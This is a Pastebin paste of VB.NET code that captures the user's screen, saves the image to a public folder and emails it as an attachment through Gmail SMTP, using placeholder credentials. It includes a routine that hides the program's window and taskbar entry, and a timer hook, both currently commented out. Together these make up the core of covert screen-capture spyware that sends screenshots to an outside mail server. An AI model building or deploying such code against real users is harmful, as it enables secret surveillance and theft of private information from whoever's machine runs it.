Advertisement
calfred2808

Send ScreenShot attached from email

Dec 4th, 2016
284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.68 KB | None | 0 0
  1.  
  2. Imports System.Drawing.Imaging
  3. Imports System.Drawing
  4. Imports System.Windows.Forms
  5. Imports System.Net.Mail
  6.  
  7.  
  8.  
  9.  
  10.  
  11. Imports System
  12. Imports System.IO
  13. Imports Microsoft.VisualBasic
  14.  
  15.  
  16.  
  17.  
  18.  
  19. Public Class MainForm
  20.  
  21.     Dim path As String = "C:\Users\Public\SS"
  22.  
  23.  
  24.  
  25.     Private Sub MainForm_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  26.  
  27.         'hideMenow()
  28.         folderCreator()
  29.  
  30.  
  31.         'MyTimer.Start()
  32.  
  33.  
  34.  
  35.  
  36.     End Sub
  37.  
  38.  
  39.     Public Sub hideMenow()
  40.         Me.Location = New Point(999999999, 99999999)
  41.         Me.Visible = False
  42.         ShowInTaskbar = False
  43.  
  44.  
  45.     End Sub
  46.  
  47.     Private Sub MyTimer_Tick(sender As Object, e As EventArgs) Handles MyTimer.Tick
  48.  
  49.     End Sub
  50.  
  51.  
  52.  
  53.  
  54.     Public Sub SendEmail(ByVal path As String)
  55.         Try
  56.             Dim mail As New MailMessage("YourEmailAddress", "YourEmailAddress")
  57.             mail.Subject = "Screen Shot"
  58.             Dim objAttachment As New Attachment(path)
  59.             mail.Attachments.Add(objAttachment)
  60.             Dim smtp As New SmtpClient()
  61.             smtp.Host = "smtp.gmail.com"
  62.             smtp.Port = 587
  63.             smtp.Credentials = New System.Net.NetworkCredential("YourEmailAddress", "YourPassword")
  64.             smtp.EnableSsl = True
  65.             mail.IsBodyHtml = True
  66.             smtp.Send(mail)
  67.             MsgBox("Message Sent")
  68.         Catch ex As Exception
  69.             MsgBox(ex.ToString)
  70.         End Try
  71.     End Sub
  72.  
  73.  
  74.     Public Sub SS()
  75.         Dim bitmap As New Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)
  76.         Dim graphics__1 As Graphics = Graphics.FromImage(TryCast(bitmap, System.Drawing.Image))
  77.         graphics__1.CopyFromScreen(5, 5, 5, 5, bitmap.Size)
  78.         Dim path As String = ("C:\Users\Public\SS" & Convert.ToString(Guid.NewGuid()) & "ScreenShot.png")
  79.         bitmap.Save(path)
  80.         SendEmail(path)
  81.     End Sub
  82.  
  83.  
  84.     Public Sub folderCreator()
  85.         'C:\Users\Public\SS
  86.  
  87.  
  88.  
  89.         Try
  90.             ' Determine whether the directory exists.
  91.             If Directory.Exists(Path) Then
  92.                 Console.WriteLine("That path exists already.")
  93.                 Return
  94.             End If
  95.  
  96.             ' Try to create the directory.
  97.             Dim di As DirectoryInfo = Directory.CreateDirectory(Path)
  98.             Console.WriteLine("The directory was created successfully at {0}.", Directory.GetCreationTime(Path))
  99.  
  100.         Catch e As Exception
  101.             Console.WriteLine("The process failed: {0}.", e.ToString())
  102.         End Try
  103.     End Sub
  104.  
  105.  
  106.     Private Sub DevButton_Click(sender As Object, e As EventArgs) Handles DevButton.Click
  107.         'folderCreator()
  108.         SS()
  109.     End Sub
  110. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement